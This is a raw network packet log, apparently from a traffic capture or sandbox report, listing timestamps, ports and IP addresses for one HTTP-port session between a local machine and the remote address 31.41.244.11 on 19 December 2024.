Dec 19, 2024 08:09:13.450489998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.450531960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.451608896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.451622963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.451667070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.452759981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.452900887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.452955961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.453995943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.454009056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.454060078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.455230951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.455296040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.455354929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.455355883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.456504107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.456556082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.456721067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.456790924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.457576036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.457588911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.457627058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.457662106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.458791018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.458802938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.458853960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.459925890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.459954977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.459991932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.460024118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.461159945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.461236000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.461241007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.461282969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.462310076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.462377071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.462414980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.462474108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.463416100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.463478088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.463634014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.463696957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.464673996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.464700937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.464735031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.464766979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.465889931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.465903044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.465945959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.465977907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.467093945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.467179060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.467221975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.467272997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.468168020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.468246937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.468298912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.468298912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.469387054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.469444990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.469449043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.469496965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.470632076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.470643044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.470691919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.471812963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.471823931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.471872091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.472862005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.472961903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.473133087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.473191977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.474189043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.474200010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.474257946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.475244045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.475347996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.475421906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.475605011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.476464033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.476542950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.476577044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.476629019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.477699995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.477710009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.477757931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.478897095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.478961945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.479036093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.479096889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.480117083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.480184078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.480211020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.480263948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.481306076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.481323004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.481360912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.481390953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.482480049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.482539892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.612745047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.612971067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.612976074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.613019943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.613311052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.613359928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.613383055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.613431931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.614490032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.614537001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.614548922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.614578009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.615645885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.615695000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.615731001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.615807056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.616889000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.616904020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.616947889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.616947889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.617974997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.618139029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.618187904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.619154930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.619223118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.619266033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.619308949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.620414019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.620477915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.620479107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.620521069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.621572018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.621619940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.621752024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.621818066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.622798920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.622874975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.622879028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.623027086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.623941898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.623986006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.624093056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.624268055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.625190973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.625246048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.625272036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.625324011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.626249075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.626296997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.626408100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.626522064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.627490997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.627547026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.627572060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.627625942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.628681898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.628748894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.628824949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.628880978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.629928112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.629978895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.630100965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.630156994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.631058931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.631108046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.631160021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.631197929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.632266998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.632320881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.632333994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.632374048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.633388042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.633435011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.633483887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.633533001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.634576082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.634622097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.634655952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.634728909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.635775089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.635823011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.635879040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.635925055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.636939049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.636992931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.637064934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.637139082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.638151884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.638210058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.638245106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.638287067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.639388084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.639441967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.639467955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.639578104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.640562057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.640624046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.640645027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.640742064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.641865969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.641921043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.641973019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.642014027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.642904997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.642963886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.643043995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.643135071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.644071102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.644128084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.644170046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.644258022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.645298004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.645342112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.645473003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.645517111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.646465063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.646527052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.646562099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.646604061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.647625923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.647680998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.647712946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.647759914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.648833036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.648876905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.648909092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.648997068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.650039911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.650094986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.650127888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.650175095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.651199102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.651267052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.651269913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.651304007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.652440071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.652493954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.652548075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.652590990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.653546095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.653594971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.653645039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.653728962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.654738903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.654814959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.654843092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.654861927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.655920029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.655982971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.656092882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.656135082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.657196045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.657210112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.657265902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.658279896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.658333063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.658432961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.658474922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.659534931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.659580946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.659595013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.659621000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.660643101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.660698891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.660747051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.660793066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.661892891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.661950111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.662014008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.662056923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.663014889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.663096905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.663160086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.663199902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.664288044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.664347887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.664367914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.664413929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.665383101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.665429115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.665551901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.665596008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.666660070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.666712046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.666814089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.666898966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.667814016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.667864084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.667999983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.668066978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.668955088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.669007063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.669147015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.669204950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.670201063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.670245886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.670293093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.671350956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.671370983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.671411991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.671441078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.672528982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.672662020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.672677994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.672715902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.673723936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.673765898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.673799992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.673841000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.674817085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.674863100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.804919958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.804936886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.805005074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.805427074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.805483103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.805603981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.805680037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.806658030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.806723118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.806822062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.806875944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.807924032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.807938099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.807990074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.808007956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.809006929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.809062958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.809098959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.809210062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.810175896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.810237885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.810340881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.810384989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.811358929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.811412096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.811486006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.811676025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.812639952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.812654972 CET	80	49802	31.41.244.11	192.168.2.6
